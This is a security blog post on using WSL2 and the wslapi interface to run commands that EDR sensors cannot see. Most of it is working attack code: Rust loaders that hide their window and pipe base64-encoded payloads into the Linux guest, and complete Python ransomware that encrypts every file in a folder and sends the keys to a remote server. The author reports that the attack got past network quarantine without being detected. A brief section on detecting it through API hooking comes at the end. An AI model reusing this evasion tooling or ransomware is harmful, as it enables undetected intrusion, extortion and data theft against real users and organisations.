Bypassing EDR constraints via WSL2

December 8, 2024

Windows Subsystem for Linux (WSL) is a powerful, native, method for accessing virtualized Linux environments and tools via Windows. With Windows 11, WSL is installed by default. It uses Hyper-V for virtualization and is (mostly) seamlessly integrated into the Windows operating system. Unlike WSL 1 which was a compatibility layer for Linux tools and ELF binaries, WSL 2 is a full-featured virtualized Linux kernel. Enter Endpoint Detection and Response (EDR) tooling. Typically, these tools monitor system processes, events, and other telemetry via installed sensors. These sensors passively monitor events, forwarding them to a central agent where processing, detections, etc happen. Sensors are required to be installed on the operating systems for which they are designed. For example, Linux sensors are required for Linux systems, and Windows sensors are required for Windows systems, and so on. With WSL 1, where the WSL process was simply a layer to provide some compatibility with Linux binaries, most events could be logged and detected from the Windows sensor viewpoint. However, with WSL 2, a fully virtualized Linux kernel, the Windows sensor (and the entire Windows host operating system, to some extent) has no insight into what is occurring or executing, so long as no interactions with the Windows host are made.

Because EDR sensors have no insight into the operations made in WSL 2, they have limited ability to detect and respond to threats originating from the virtual platform. Of course, they still have full visibility into the processes that execute and launch the WSL 2 sessions. For instance, you can easily run WSL commands in the Linux guest by passing the desired command as an argument to the WSL process.

cmd.exe /C ubuntu run echo hello world
TASL

When executed like this, the EDR sensor will correctly log and detect passed commands. This is because, like any other process, the EDR has visibility into the command line and arguments passed to the process.

If we use a Rust example, this type of execution is easily automated.

fn Test() {
  print!("[X] Starting WSL exec test\n");
  print!("[ ] Running command 'cmd \\C ubuntu run echo test");
  let cmd = Command::new("cmd")
    .args(["/C","ubuntu run echo test"])
    .output()
    .expect("failed to execute");
  if !cmd.stdout.is_empty() {
    print!("\r[X]");
    print!("\n[X] Command executed successfully");
    let string = String::from_utf8(cmd.stdout).expect("Did not convert output");
    print!("\nOutput: {}",string)
  }else {
    print!("\nERROR\n")
  }
}
Rust

This simply executes the previous cmd command and returns the output. In most cases, if this type of execution is overtly malicious, the EDR may create a detection. However, in my testing with <major vendor here> I was allowed to do all sorts of crazy things with no detections or alerts. Of course, this type of execution is clearly visible in the logs.

Thankfully, Microsoft has given us the wslapi.h header, which provides a method for creating and interacting with WSL 2 sessions programmatically. With this, we can do some interesting things by providing custom handles for the stdin, stdout, and stderr. Using the following technique, we can completely bypass the logging employed by typical EDR sensors. They will see the process spin up, but they won’t be able to log or have visibility into the passed commands to the WSL 2 session.

#![windows_subsystem = "windows"]
use wslapi::*;
use winapi::um::wincon::GetConsoleWindow;
use winapi::um::winuser::{ShowWindow, SW_HIDE};

fn main(){

  // This window hide method doesn't hide wsl child process
  // https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winusershowwindow
  
  unsafe{
    winapi::um::wincon::FreeConsole();
    let window = GetConsoleWindow();
    ShowWindow(window, SW_HIDE);
  }
  
  let wsl = Library::new().unwrap();
  
  // assert that there is at least 1 wsl install
  
  let nonexistant = "Nonexistant";
  assert!(!wsl.is_distribution_registered(nonexistant));
  assert!(wsl.get_distribution_configuration(nonexistant).is_err());
  
  // find all distros and filter by name
  for distro in registry::distribution_names() {
  
    // Ideally, this just runs on all Ubuntu installs. However, one of mine is borked, so I'm looking specifically for 22.04 lol
    
    if distro.to_string_lossy().contains("Ubuntu-22.04") {
    
      /*
      By redirecting the stdin to the command, we can completely obfuscate
      the running command from monitoring tools.
      Security solutions will only see the passed command line "sh". E.g.,
      wsl.exe Ubuntu-22.04 sh
      The stdout and stderr can likely be redirected to file streams or
      memory streams. Like many things, the docs for wslapi aren't super great.
      */
      
      let stdin = "echo <base64 code> | base64 -d | sh";
      let stdout = std::fs::File::create("target/basic.txt").unwrap();
      let stderr = std::fs::File::create("target/err.txt").unwrap();
      
      // This will show a wsl console. Theoretically, this window could be hidden.
      wsl.launch(&distro, "sh", true, stdin, stdout, stderr).unwrap().wait().unwrap();
      
    }
  }
}
Rust

When compiled and executed on an EDR-protected host (with a vendor-recommended prevention policy!), this executes with no issues and does not expose the executed operations in any logging methods.

Extracted EDR logs of execution – Note the lack of a command line other than ‘sh’

Insofar as the major EDR vendor I tested this with goes, we can run any commands we want with no risk of detection. This appears to go beyond operations limited to the WSL 2 session as well. File interactions with the Windows host were also undetected. Note: Processes spawned on the Windows host will show up in the logs, as the process telemetry is still recorded.

After initial testing to see if commands could be detected this way, I wanted to test how a ‘real’ scenario may play out. So I wrote some ransomware.

#![windows_subsystem = "windows"]
use wslapi::*;

use whoami;

use winapi::um::wincon::GetConsoleWindow;
use winapi::um::winuser::{ShowWindow, SW_HIDE};



fn main(){
    // This window hide method doesn't hide wsl child process
    // https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow
    unsafe{
        winapi::um::wincon::FreeConsole();
        let window = GetConsoleWindow();
        ShowWindow(window, SW_HIDE);
    }
    let wsl = Library::new().unwrap();

    // assert that there is at least 1 wsl install
    let nonexistant = "Nonexistant";
    assert!(!wsl.is_distribution_registered(nonexistant));
    assert!(wsl.get_distribution_configuration(nonexistant).is_err());

    // find all distros and filter by name
    for distro in registry::distribution_names() {
        // Ideally, this just runs on all Ubuntu installs. However, one of mine is borked, so I'm looking specifically for 22.04 lol.
        if distro.to_string_lossy().contains("Ubuntu-22.04") {
            /*
            
                By redirecting the stdin to the command, we can completely obfuscate the running command from monitoring tools. 
                Security solutions will only see the passed command line "sh". E.g., wsl.exe Ubuntu-22.04 sh
                The stdout and stderr can likely be redirected to file streams or memory streams. Like many things, the docs for wslapi aren't super great.
            
             */
            // let user = whoami::username();
            // let doc = "C:\\Users\\{user}\\Documents";
            // let stdin = "pwd";
            let stdin  = "echo aW1wb3J0IHNvY2tldA0KaW1wb3J0IGpzb24NCmltcG9ydCBzdWJwcm9jZXNzDQpmcm9tIENyeXB0byBpbXBvcnQgUmFuZG9tDQpmcm9tIENyeXB0by5DaXBoZXIgaW1wb3J0IEFFUw0KaW1wb3J0IGhhc2hsaWINCmltcG9ydCBvcw0KDQojIHByaW50KG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpDQoNCmRlZiBtX2tleShrZXkpOg0KICAgIGtleSA9IGxpc3Qoa2V5KVswOjMyXQ0KICAgIGtleSA9ICcnLmpvaW4oa2V5KQ0KICAgIHJldHVybiBrZXkNCg0KZGVmIFIobCk6DQogICAgbyA9IHt9DQogICAgaGFzaF9mID0gaGFzaGxpYi5uZXcoInNoYTI1NiIpDQogICAgaWYgbCA9PSAicl93c2xfcC5leGUiOg0KICAgICAgICByZXR1cm4NCiAgICBmaWxlID0gbA0KICAgIHdpdGggb3BlbihmaWxlLCAncmInKSBhcyB0Og0KICAgICAgICB0X2IgPSBiJycNCiAgICAgICAgd2hpbGUgY2h1bmsgOj0gdC5yZWFkKDgxOTIpOg0KICAgICAgICAgICAgaGFzaF9mLnVwZGF0ZShjaHVuaykNCiAgICAgICAgICAgIHRfYiArPSBjaHVuaw0KICAgIGtleSA9IG1fa2V5KGhhc2hfZi5oZXhkaWdlc3QoKSkNCiAgICBjaXBoZXIgPSBBRVMubmV3KGtleS5lbmNvZGUoInV0Zi04IiksIEFFUy5NT0RFX0VBWCkNCiAgICBub25jZSA9IGNpcGhlci5ub25jZQ0KICAgIGN0ID0gY2lwaGVyLmVuY3J5cHQodF9iKQ0KICAgIG9bZmlsZV0gPSBrZXkNCiAgICB3aXRoIG9wZW4oZmlsZSwgJ3diJykgYXMgdDoNCiAgICAgICAgdC53cml0ZShjdCkNCiAgICByZXR1cm4gbw0KDQoNCmRlZiBOKG8pOg0KICAgIGogPSBqc29uLmR1bXBzKG8pDQogICAgcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkNCiAgICBhID0gKCdub3QgdG9kYXknLCAxMzM3KQ0KICAgIHMuY29ubmVjdChhKQ0KICAgIHMuc2VuZChqLmVuY29kZSgndXRmLTgnKSkNCg0KZGVmIG1haW4oKToNCiAgICAgICAgbyA9IHt9DQogICAgICAgIGwgPSBzdWJwcm9jZXNzLnJ1bihbImxzIiwiLWwiXSwgY2FwdHVyZV9vdXRwdXQ9VHJ1ZSkNCiAgICAgICAgbCA9IGwuc3Rkb3V0LmRlY29kZSgidXRmLTgiKS5zcGxpdGxpbmVzKCkNCiAgICAgICAgbC5wb3AoMCkNCiAgICAgICAgZm9yIGZpbGUgaW4gbDoNCiAgICAgICAgICAgIHJ0ID0gUihmaWxlLnNwbGl0KClbOF0pDQogICAgICAgICAgICBpZiBydCAhPSBOb25lOg0KICAgICAgICAgICAgICAgIG8udXBkYXRlKHJ0KQ0KICAgICAgICBOKG8pDQogICAgICAgIGV4aXQNCm1haW4oKQ== | base64 -d | python3";
            let stdout = std::fs::File::create("basic.txt").unwrap();
            // let stderr = std::fs::File::create("err.txt").unwrap();
            // let stdout = "";
            let stderr = "";

            // This will show a wsl console. Theoretically, this window could be hidden. 
            wsl.launch(&distro, "sh", true, stdin, stdout, stderr).unwrap().wait().unwrap();
        }
    }
}
Rust

The base64 decodes to Python which gets all files in the current folder, encrypts each of them with a unique key, and sends all the filenames and keys to a remote server. Please do not judge my code, I am not a programmer 🙂

import socket
import json
import subprocess
from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import os

# print(os.path.abspath(__file__))

def m_key(key):
    key = list(key)[0:32]
    key = ''.join(key)
    return key

def R(l):
    o = {}
    hash_f = hashlib.new("sha256")
    if l == "r_wsl_p.exe":
        return
    file = l
    with open(file, 'rb') as t:
        t_b = b''
        while chunk := t.read(8192):
            hash_f.update(chunk)
            t_b += chunk
    key = m_key(hash_f.hexdigest())
    cipher = AES.new(key.encode("utf-8"), AES.MODE_EAX)
    nonce = cipher.nonce
    ct = cipher.encrypt(t_b)
    o[file] = key
    with open(file, 'wb') as t:
        t.write(ct)
    return o


def N(o):
    j = json.dumps(o)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    a = ('not today', 1337)
    s.connect(a)
    s.send(j.encode('utf-8'))

def main():
        o = {}
        l = subprocess.run(["ls","-l"], capture_output=True)
        l = l.stdout.decode("utf-8").splitlines()
        l.pop(0)
        for file in l:
            rt = R(file.split()[8])
            if rt != None:
                o.update(rt)
        N(o)
        exit
main()
Python

This went through successfully, with no detections or alerts. A testing directory was created in the C drive, and it was populated with a series of random files with random data. They were all encrypted and the TCP connection was successful at sending out the data.

Oh, and both of these techniques using WSL 2 also completely defeated the network quarantine functions of the EDR they were tested with. So, even if analysts detect a threat, if the host device has WSL 2 on it, network containment/quarantine will not stop it from spreading or exfiltrating data.

This ran on a host with a <censored> sensor installed and running per vendor recommendations

Of course, it would be remiss of me to discuss these issues without providing some form of detection/response. To this end, we can steal IamRoot’s post on HackTheBox. Their post covers the use of API hooking to read the submitted keypresses in the terminal that are sent in the WSL 2 session. E.g., using API hooking to create a keylogger for WSL 2 sessions.

For testing purposes, this boils down to using API Monitor to hook into the WSL process and watch for WideCharToMultiByte calls.

Selecting the correct process is necessary – there will be several WSL processes, so choose the one in the install folder
The WideCharToMultiByte calls show the sent keypress – This allows us to reconstruct the sent command

The primary issue with this monitoring type is that it only works for hands-on keyboard sessions, I.e., if I am actually typing commands into the session. Note: We can also monitor RtlUnicodeToUTF8N calls in KERNELBASE.dll, but this dll is noisier than wsl.exe, so it can be a little more annoying to do it this way.

For sessions executed programmatically, we have to rely on other forms of monitoring. One approach is to observe all events on the host device and *auto-magically* associate them to the WSL process. For instance, following events in procmon after executing touch testing.txt shows the file creation event.

This is not a feasible approach for live monitoring, but it does work when dynamically testing samples after the fact. DllHost appears to be the executor of WSL’s will, as far as I can tell. Each test I did listed a DllHost execution actually performing the action on the host.

Of course, neither of these solves the larger issue of <vendor name here>’s network containment/quarantine not working at all for WSL 2. When I contacted them, I was told that WSL 2 was not supported and that there was no plan to fix the containment\quarantine to account for WSL 2. As such, I guess let the WSL-targeted malware loose? It seems like it’s open season for this attack vector.

NOTES:

  • No, I won’t name the EDR vendor I tested this with.
  • Yes, all the samples and code were undetected when run on a host with vendor-recommended policies enabled.
  • Yes, all of the samples will run correctly when the device is quarantined. Network policies do not affect WSL 2 (for this EDR vendor).
  • Yes, their support really did tell me that WSL was unsupported and that there were no plans to address my concerns.
  • Microsoft seems to have some kind of plugin for MDE that adds WSL 2 capabilities. I don’t use MDE, so I haven’t really looked at it.
  • The Rust code can be modified to create handles using empty strings instead of files. I did files for debugging and kind of left them in /shrug
  • Also, I really don’t know Rust at all. Please do not laugh at my code T.T

I’ll leave you with ChatGPT’s haiku for this post:

Silent WSL,
Scripts weave past EDR’s watch,
Shadows in the code.

Leave a Reply

Your email address will not be published. Required fields are marked *